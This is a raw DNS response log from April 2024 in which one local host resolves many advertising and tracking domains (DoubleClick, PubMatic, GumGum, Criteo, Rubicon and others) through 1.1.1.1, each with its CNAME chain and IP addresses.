Apr 11, 2024 23:27:00.276238918 CEST	1.1.1.1	192.168.2.17	0xfdd7	No error (0)	blackbird-prd-ue1-alb-1973039460.us-east-1.elb.amazonaws.com		34.196.171.240	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:00.276238918 CEST	1.1.1.1	192.168.2.17	0xfdd7	No error (0)	blackbird-prd-ue1-alb-1973039460.us-east-1.elb.amazonaws.com		52.207.168.180	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:00.411026001 CEST	1.1.1.1	192.168.2.17	0x1a5b	No error (0)	secure.adnxs.com	g.geo.appnexusgslb.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:27:00.411026001 CEST	1.1.1.1	192.168.2.17	0x1a5b	No error (0)	g.geo.appnexusgslb.net	ib.anycast.adnxs.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:27:00.411026001 CEST	1.1.1.1	192.168.2.17	0x1a5b	No error (0)	ib.anycast.adnxs.com		68.67.161.208	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:00.411026001 CEST	1.1.1.1	192.168.2.17	0x1a5b	No error (0)	ib.anycast.adnxs.com		68.67.181.211	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:00.411026001 CEST	1.1.1.1	192.168.2.17	0x1a5b	No error (0)	ib.anycast.adnxs.com		68.67.160.114	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:00.411026001 CEST	1.1.1.1	192.168.2.17	0x1a5b	No error (0)	ib.anycast.adnxs.com		68.67.160.117	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:00.411026001 CEST	1.1.1.1	192.168.2.17	0x1a5b	No error (0)	ib.anycast.adnxs.com		68.67.179.164	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:00.411026001 CEST	1.1.1.1	192.168.2.17	0x1a5b	No error (0)	ib.anycast.adnxs.com		68.67.179.155	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:00.411026001 CEST	1.1.1.1	192.168.2.17	0x1a5b	No error (0)	ib.anycast.adnxs.com		68.67.179.153	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:00.411026001 CEST	1.1.1.1	192.168.2.17	0x1a5b	No error (0)	ib.anycast.adnxs.com		68.67.178.10	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:00.411026001 CEST	1.1.1.1	192.168.2.17	0x1a5b	No error (0)	ib.anycast.adnxs.com		68.67.160.184	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:00.411026001 CEST	1.1.1.1	192.168.2.17	0x1a5b	No error (0)	ib.anycast.adnxs.com		68.67.160.75	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:00.411026001 CEST	1.1.1.1	192.168.2.17	0x1a5b	No error (0)	ib.anycast.adnxs.com		68.67.161.182	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:00.411026001 CEST	1.1.1.1	192.168.2.17	0x1a5b	No error (0)	ib.anycast.adnxs.com		68.67.179.166	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:00.444354057 CEST	1.1.1.1	192.168.2.17	0xdbb5	No error (0)	x.bidswitch.net	user-data-us-east.bidswitch.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:27:00.444567919 CEST	1.1.1.1	192.168.2.17	0x4ef	No error (0)	x.bidswitch.net	user-data-us-east.bidswitch.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:27:00.444567919 CEST	1.1.1.1	192.168.2.17	0x4ef	No error (0)	user-data-us-east.bidswitch.net		35.211.178.172	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:00.576742887 CEST	1.1.1.1	192.168.2.17	0x1512	No error (0)	securepubads.g.doubleclick.net	securepubads46.g.doubleclick.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:27:00.576766968 CEST	1.1.1.1	192.168.2.17	0x390b	No error (0)	securepubads.g.doubleclick.net	securepubads46.g.doubleclick.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:27:00.576766968 CEST	1.1.1.1	192.168.2.17	0x390b	No error (0)	securepubads46.g.doubleclick.net		142.250.80.2	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:00.598490000 CEST	1.1.1.1	192.168.2.17	0x8341	No error (0)	usersync.gumgum.com		52.207.45.55	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:00.598490000 CEST	1.1.1.1	192.168.2.17	0x8341	No error (0)	usersync.gumgum.com		3.214.33.241	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:00.598490000 CEST	1.1.1.1	192.168.2.17	0x8341	No error (0)	usersync.gumgum.com		3.213.224.199	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:00.598490000 CEST	1.1.1.1	192.168.2.17	0x8341	No error (0)	usersync.gumgum.com		54.87.127.173	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:00.598490000 CEST	1.1.1.1	192.168.2.17	0x8341	No error (0)	usersync.gumgum.com		35.172.99.217	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:00.740426064 CEST	1.1.1.1	192.168.2.17	0x64a7	No error (0)	hde.tynt.com		67.202.105.33	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:00.740426064 CEST	1.1.1.1	192.168.2.17	0x64a7	No error (0)	hde.tynt.com		67.202.105.34	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:00.907229900 CEST	1.1.1.1	192.168.2.17	0xfc91	No error (0)	match.deepintent.com	m.deepintent.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:27:00.907229900 CEST	1.1.1.1	192.168.2.17	0xfc91	No error (0)	m.deepintent.com		8.18.47.7	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:00.907229900 CEST	1.1.1.1	192.168.2.17	0xfc91	No error (0)	m.deepintent.com		38.91.45.7	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:00.907229900 CEST	1.1.1.1	192.168.2.17	0xfc91	No error (0)	m.deepintent.com		169.197.150.7	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:00.907229900 CEST	1.1.1.1	192.168.2.17	0xfc91	No error (0)	m.deepintent.com		169.197.150.8	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:00.937680960 CEST	1.1.1.1	192.168.2.17	0xb201	No error (0)	image2.pubmatic.com	image2v2.pubmnet.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:27:00.937680960 CEST	1.1.1.1	192.168.2.17	0xb201	No error (0)	image2v2.pubmnet.com	pug-vac.pubmnet.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:27:00.937680960 CEST	1.1.1.1	192.168.2.17	0xb201	No error (0)	pug-vac.pubmnet.com		8.28.7.83	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:00.937767982 CEST	1.1.1.1	192.168.2.17	0x479e	No error (0)	image2.pubmatic.com	image2v2.pubmnet.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:27:00.937767982 CEST	1.1.1.1	192.168.2.17	0x479e	No error (0)	image2v2.pubmnet.com	pug-vac.pubmnet.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:27:01.183365107 CEST	1.1.1.1	192.168.2.17	0x18a	No error (0)	eb2.3lift.com	na-eb2.3lift.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:27:01.183365107 CEST	1.1.1.1	192.168.2.17	0x18a	No error (0)	na-eb2.3lift.com	us-east-eb2.3lift.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:27:01.183365107 CEST	1.1.1.1	192.168.2.17	0x18a	No error (0)	us-east-eb2.3lift.com		35.71.139.29	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:01.183365107 CEST	1.1.1.1	192.168.2.17	0x18a	No error (0)	us-east-eb2.3lift.com		52.223.22.214	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:01.183403015 CEST	1.1.1.1	192.168.2.17	0x9dce	No error (0)	eb2.3lift.com	na-eb2.3lift.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:27:01.183403015 CEST	1.1.1.1	192.168.2.17	0x9dce	No error (0)	na-eb2.3lift.com	us-east-eb2.3lift.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:27:01.227108002 CEST	1.1.1.1	192.168.2.17	0xfc96	No error (0)	simage2.pubmatic.com	simage2v2.pubmnet.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:27:01.227108002 CEST	1.1.1.1	192.168.2.17	0xfc96	No error (0)	simage2v2.pubmnet.com	pug-vac.pubmnet.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:27:01.227123022 CEST	1.1.1.1	192.168.2.17	0x374f	No error (0)	simage2.pubmatic.com	simage2v2.pubmnet.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:27:01.227123022 CEST	1.1.1.1	192.168.2.17	0x374f	No error (0)	simage2v2.pubmnet.com	pug-vac.pubmnet.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:27:01.227123022 CEST	1.1.1.1	192.168.2.17	0x374f	No error (0)	pug-vac.pubmnet.com		8.28.7.83	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:01.310926914 CEST	1.1.1.1	192.168.2.17	0x60e0	No error (0)	cdn.lijit.com	d27c6x3b3mm9so.cloudfront.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:27:01.310926914 CEST	1.1.1.1	192.168.2.17	0x60e0	No error (0)	d27c6x3b3mm9so.cloudfront.net		108.139.47.38	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:01.310926914 CEST	1.1.1.1	192.168.2.17	0x60e0	No error (0)	d27c6x3b3mm9so.cloudfront.net		108.139.47.63	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:01.310926914 CEST	1.1.1.1	192.168.2.17	0x60e0	No error (0)	d27c6x3b3mm9so.cloudfront.net		108.139.47.115	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:01.310926914 CEST	1.1.1.1	192.168.2.17	0x60e0	No error (0)	d27c6x3b3mm9so.cloudfront.net		108.139.47.30	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:01.311989069 CEST	1.1.1.1	192.168.2.17	0xd5a6	No error (0)	cdn.lijit.com	d27c6x3b3mm9so.cloudfront.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:27:01.441231012 CEST	1.1.1.1	192.168.2.17	0xd5da	No error (0)	client-rapi-mediavine.recombee.com		188.40.16.146	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:01.441231012 CEST	1.1.1.1	192.168.2.17	0xd5da	No error (0)	client-rapi-mediavine.recombee.com		46.4.4.93	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:01.441231012 CEST	1.1.1.1	192.168.2.17	0xd5da	No error (0)	client-rapi-mediavine.recombee.com		5.9.235.249	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:01.441231012 CEST	1.1.1.1	192.168.2.17	0xd5da	No error (0)	client-rapi-mediavine.recombee.com		5.9.235.246	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:01.441231012 CEST	1.1.1.1	192.168.2.17	0xd5da	No error (0)	client-rapi-mediavine.recombee.com		5.9.235.247	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:01.441231012 CEST	1.1.1.1	192.168.2.17	0xd5da	No error (0)	client-rapi-mediavine.recombee.com		148.251.217.242	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:01.570529938 CEST	1.1.1.1	192.168.2.17	0xe355	No error (0)	pr-bh.ybp.yahoo.com	ds-pr-bh.ybp.gysm.yahoodns.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:27:01.571158886 CEST	1.1.1.1	192.168.2.17	0xa09	No error (0)	pr-bh.ybp.yahoo.com	ds-pr-bh.ybp.gysm.yahoodns.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:27:01.571158886 CEST	1.1.1.1	192.168.2.17	0xa09	No error (0)	ds-pr-bh.ybp.gysm.yahoodns.net		44.206.160.179	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:01.571158886 CEST	1.1.1.1	192.168.2.17	0xa09	No error (0)	ds-pr-bh.ybp.gysm.yahoodns.net		18.233.141.11	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:01.571158886 CEST	1.1.1.1	192.168.2.17	0xa09	No error (0)	ds-pr-bh.ybp.gysm.yahoodns.net		34.239.23.6	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:01.571158886 CEST	1.1.1.1	192.168.2.17	0xa09	No error (0)	ds-pr-bh.ybp.gysm.yahoodns.net		34.232.139.140	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:01.680511951 CEST	1.1.1.1	192.168.2.17	0xe448	No error (0)	dsp.nrich.ai		51.255.68.171	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:01.707223892 CEST	1.1.1.1	192.168.2.17	0x9238	No error (0)	id.rlcdn.com		35.244.154.8	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:01.867872000 CEST	1.1.1.1	192.168.2.17	0xfbdd	No error (0)	usersync.gumgum.com		3.214.33.241	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:01.867872000 CEST	1.1.1.1	192.168.2.17	0xfbdd	No error (0)	usersync.gumgum.com		35.172.99.217	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:01.867872000 CEST	1.1.1.1	192.168.2.17	0xfbdd	No error (0)	usersync.gumgum.com		54.87.127.173	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:01.867872000 CEST	1.1.1.1	192.168.2.17	0xfbdd	No error (0)	usersync.gumgum.com		3.213.224.199	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:01.867872000 CEST	1.1.1.1	192.168.2.17	0xfbdd	No error (0)	usersync.gumgum.com		52.207.45.55	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:01.985232115 CEST	1.1.1.1	192.168.2.17	0xc5e2	No error (0)	image2.pubmatic.com	image2v2.pubmnet.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:27:01.985232115 CEST	1.1.1.1	192.168.2.17	0xc5e2	No error (0)	image2v2.pubmnet.com	pug-vac.pubmnet.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:27:01.986270905 CEST	1.1.1.1	192.168.2.17	0xa1c9	No error (0)	image2.pubmatic.com	image2v2.pubmnet.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:27:01.986270905 CEST	1.1.1.1	192.168.2.17	0xa1c9	No error (0)	image2v2.pubmnet.com	pug-vac.pubmnet.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:27:01.986270905 CEST	1.1.1.1	192.168.2.17	0xa1c9	No error (0)	pug-vac.pubmnet.com		8.28.7.83	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:01.988609076 CEST	1.1.1.1	192.168.2.17	0xcb88	No error (0)	ads.pubmatic.com	pubmatic.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:27:01.988864899 CEST	1.1.1.1	192.168.2.17	0x98a4	No error (0)	ads.pubmatic.com	pubmatic.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:27:02.047748089 CEST	1.1.1.1	192.168.2.17	0x5616	No error (0)	exchange.mediavine.com		18.214.197.65	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:02.047748089 CEST	1.1.1.1	192.168.2.17	0x5616	No error (0)	exchange.mediavine.com		18.214.192.183	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:02.047748089 CEST	1.1.1.1	192.168.2.17	0x5616	No error (0)	exchange.mediavine.com		54.197.122.101	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:02.047748089 CEST	1.1.1.1	192.168.2.17	0x5616	No error (0)	exchange.mediavine.com		3.89.95.99	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:02.047748089 CEST	1.1.1.1	192.168.2.17	0x5616	No error (0)	exchange.mediavine.com		54.208.143.66	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:02.047748089 CEST	1.1.1.1	192.168.2.17	0x5616	No error (0)	exchange.mediavine.com		3.211.252.87	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:02.176584959 CEST	1.1.1.1	192.168.2.17	0x2c73	No error (0)	token.rubiconproject.com	pixel.rubiconproject.net.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:27:02.176973104 CEST	1.1.1.1	192.168.2.17	0x9a21	No error (0)	token.rubiconproject.com	pixel.rubiconproject.net.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:27:02.252902031 CEST	1.1.1.1	192.168.2.17	0xc0a0	No error (0)	ups.analytics.yahoo.com	prod.ups-ats.aolp-ds-prd.aws.oath.cloud		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:27:02.252902031 CEST	1.1.1.1	192.168.2.17	0xc0a0	No error (0)	prod.ups-ats.aolp-ds-prd.aws.oath.cloud	prod.ups-ats.us-east-1.aolp-ds-prd.aws.oath.cloud		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:27:02.252902031 CEST	1.1.1.1	192.168.2.17	0xc0a0	No error (0)	prod.ups-ats.us-east-1.aolp-ds-prd.aws.oath.cloud	ats-eks.us-east-1.dcs-online-targeting-prd.aws.oath.cloud		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:27:02.253473043 CEST	1.1.1.1	192.168.2.17	0xf0c5	No error (0)	ice.360yield.com	na-ice.360yield.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:27:02.253489017 CEST	1.1.1.1	192.168.2.17	0x7d6b	No error (0)	ice.360yield.com	na-ice.360yield.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:27:02.253489017 CEST	1.1.1.1	192.168.2.17	0x7d6b	No error (0)	na-ice.360yield.com		3.215.216.188	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:02.253489017 CEST	1.1.1.1	192.168.2.17	0x7d6b	No error (0)	na-ice.360yield.com		3.86.133.195	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:02.253489017 CEST	1.1.1.1	192.168.2.17	0x7d6b	No error (0)	na-ice.360yield.com		44.217.131.184	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:02.253489017 CEST	1.1.1.1	192.168.2.17	0x7d6b	No error (0)	na-ice.360yield.com		18.214.113.124	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:02.253489017 CEST	1.1.1.1	192.168.2.17	0x7d6b	No error (0)	na-ice.360yield.com		34.200.89.108	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:02.253489017 CEST	1.1.1.1	192.168.2.17	0x7d6b	No error (0)	na-ice.360yield.com		18.210.8.182	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:02.253489017 CEST	1.1.1.1	192.168.2.17	0x7d6b	No error (0)	na-ice.360yield.com		54.221.63.148	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:02.253489017 CEST	1.1.1.1	192.168.2.17	0x7d6b	No error (0)	na-ice.360yield.com		34.239.2.224	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:02.253762960 CEST	1.1.1.1	192.168.2.17	0xf4cf	No error (0)	ups.analytics.yahoo.com	prod.ups-ats.aolp-ds-prd.aws.oath.cloud		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:27:02.253762960 CEST	1.1.1.1	192.168.2.17	0xf4cf	No error (0)	prod.ups-ats.aolp-ds-prd.aws.oath.cloud	prod.ups-ats.us-east-1.aolp-ds-prd.aws.oath.cloud		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:27:02.253762960 CEST	1.1.1.1	192.168.2.17	0xf4cf	No error (0)	prod.ups-ats.us-east-1.aolp-ds-prd.aws.oath.cloud	ats-eks.us-east-1.dcs-online-targeting-prd.aws.oath.cloud		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:27:02.253762960 CEST	1.1.1.1	192.168.2.17	0xf4cf	No error (0)	ats-eks.us-east-1.dcs-online-targeting-prd.aws.oath.cloud		3.225.218.10	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:02.253762960 CEST	1.1.1.1	192.168.2.17	0xf4cf	No error (0)	ats-eks.us-east-1.dcs-online-targeting-prd.aws.oath.cloud		34.200.65.202	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:02.254753113 CEST	1.1.1.1	192.168.2.17	0x9d50	No error (0)	crb.kargo.com		3.209.218.8	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:02.254753113 CEST	1.1.1.1	192.168.2.17	0x9d50	No error (0)	crb.kargo.com		75.101.222.61	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:02.254753113 CEST	1.1.1.1	192.168.2.17	0x9d50	No error (0)	crb.kargo.com		54.198.187.94	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:02.254753113 CEST	1.1.1.1	192.168.2.17	0x9d50	No error (0)	crb.kargo.com		52.202.181.167	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:02.254753113 CEST	1.1.1.1	192.168.2.17	0x9d50	No error (0)	crb.kargo.com		54.236.184.87	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:02.254753113 CEST	1.1.1.1	192.168.2.17	0x9d50	No error (0)	crb.kargo.com		35.170.134.172	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:02.255405903 CEST	1.1.1.1	192.168.2.17	0xd8d1	No error (0)	image4.pubmatic.com	image4-v2.pubmnet.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:27:02.255405903 CEST	1.1.1.1	192.168.2.17	0xd8d1	No error (0)	image4-v2.pubmnet.com	spug-vac.pubmnet.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:27:02.255573988 CEST	1.1.1.1	192.168.2.17	0xa2e5	No error (0)	image4.pubmatic.com	image4-v2.pubmnet.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:27:02.255573988 CEST	1.1.1.1	192.168.2.17	0xa2e5	No error (0)	image4-v2.pubmnet.com	spug-nje1pb.pubmnet.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:27:02.255573988 CEST	1.1.1.1	192.168.2.17	0xa2e5	No error (0)	spug-nje1pb.pubmnet.com		207.65.37.182	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:02.373018980 CEST	1.1.1.1	192.168.2.17	0x1d7e	No error (0)	sync.intentiq.com		108.139.47.93	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:02.373018980 CEST	1.1.1.1	192.168.2.17	0x1d7e	No error (0)	sync.intentiq.com		108.139.47.105	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:02.373018980 CEST	1.1.1.1	192.168.2.17	0x1d7e	No error (0)	sync.intentiq.com		108.139.47.46	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:02.373018980 CEST	1.1.1.1	192.168.2.17	0x1d7e	No error (0)	sync.intentiq.com		108.139.47.49	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:02.379395962 CEST	1.1.1.1	192.168.2.17	0x9a93	No error (0)	us-u.openx.net		34.98.64.218	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:02.379395962 CEST	1.1.1.1	192.168.2.17	0x9a93	No error (0)	us-u.openx.net		35.244.159.8	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:02.457711935 CEST	1.1.1.1	192.168.2.17	0xb8a4	No error (0)	c.amazon-adsystem.com	d1ykf07e75w7ss.cloudfront.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:27:02.457751036 CEST	1.1.1.1	192.168.2.17	0x1126	No error (0)	c.amazon-adsystem.com	d1ykf07e75w7ss.cloudfront.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:27:02.457751036 CEST	1.1.1.1	192.168.2.17	0x1126	No error (0)	d1ykf07e75w7ss.cloudfront.net		108.138.115.149	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:02.564270020 CEST	1.1.1.1	192.168.2.17	0x94c8	No error (0)	p.rfihub.com	a.rfihub.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:27:02.564270020 CEST	1.1.1.1	192.168.2.17	0x94c8	No error (0)	a.rfihub.com	a.rfihub.com.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:27:02.564286947 CEST	1.1.1.1	192.168.2.17	0xe160	No error (0)	p.rfihub.com	a.rfihub.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:27:02.564286947 CEST	1.1.1.1	192.168.2.17	0xe160	No error (0)	a.rfihub.com	a.rfihub.com.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:27:02.620438099 CEST	1.1.1.1	192.168.2.17	0x8818	No error (0)	ads.creative-serving.com	httplb-gce-va-clickdistrict.clickdistrict.iponweb.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:27:02.620438099 CEST	1.1.1.1	192.168.2.17	0x8818	No error (0)	httplb-gce-va-clickdistrict.clickdistrict.iponweb.net		35.212.23.78	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:02.620615959 CEST	1.1.1.1	192.168.2.17	0xab6f	No error (0)	ads.creative-serving.com	httplb-gce-va-clickdistrict.clickdistrict.iponweb.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:27:02.666306019 CEST	1.1.1.1	192.168.2.17	0xa404	No error (0)	rtb.gumgum.com		3.231.195.77	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:02.666306019 CEST	1.1.1.1	192.168.2.17	0xa404	No error (0)	rtb.gumgum.com		54.209.123.161	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:02.666306019 CEST	1.1.1.1	192.168.2.17	0xa404	No error (0)	rtb.gumgum.com		52.0.202.96	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:02.666306019 CEST	1.1.1.1	192.168.2.17	0xa404	No error (0)	rtb.gumgum.com		54.159.199.130	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:02.666306019 CEST	1.1.1.1	192.168.2.17	0xa404	No error (0)	rtb.gumgum.com		34.227.231.9	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:02.666306019 CEST	1.1.1.1	192.168.2.17	0xa404	No error (0)	rtb.gumgum.com		34.237.69.29	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:02.666306019 CEST	1.1.1.1	192.168.2.17	0xa404	No error (0)	rtb.gumgum.com		44.213.54.63	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:02.666306019 CEST	1.1.1.1	192.168.2.17	0xa404	No error (0)	rtb.gumgum.com		54.81.188.163	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:02.880578995 CEST	1.1.1.1	192.168.2.17	0x1a1c	No error (0)	cm.g.doubleclick.net		142.250.80.66	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:02.885596037 CEST	1.1.1.1	192.168.2.17	0x17c4	No error (0)	static.criteo.net	static.us5.vip.prod.criteo.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:27:02.885798931 CEST	1.1.1.1	192.168.2.17	0xe1ab	No error (0)	static.criteo.net	static.us5.vip.prod.criteo.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:27:02.885798931 CEST	1.1.1.1	192.168.2.17	0xe1ab	No error (0)	static.us5.vip.prod.criteo.net		74.119.117.4	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:02.898571014 CEST	1.1.1.1	192.168.2.17	0x6aad	No error (0)	ce.lijit.com	ce-ue1.lijit.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:27:02.898571014 CEST	1.1.1.1	192.168.2.17	0x6aad	No error (0)	ce-ue1.lijit.com	raptor-prd-ue1-alb-1693497337.us-east-1.elb.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:27:02.898571014 CEST	1.1.1.1	192.168.2.17	0x6aad	No error (0)	raptor-prd-ue1-alb-1693497337.us-east-1.elb.amazonaws.com		3.232.70.209	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:02.898571014 CEST	1.1.1.1	192.168.2.17	0x6aad	No error (0)	raptor-prd-ue1-alb-1693497337.us-east-1.elb.amazonaws.com		34.195.106.1	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:02.898571014 CEST	1.1.1.1	192.168.2.17	0x6aad	No error (0)	raptor-prd-ue1-alb-1693497337.us-east-1.elb.amazonaws.com		18.235.65.192	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:02.898571014 CEST	1.1.1.1	192.168.2.17	0x6aad	No error (0)	raptor-prd-ue1-alb-1693497337.us-east-1.elb.amazonaws.com		35.171.243.167	A (IP address)	IN (0x0001)	false
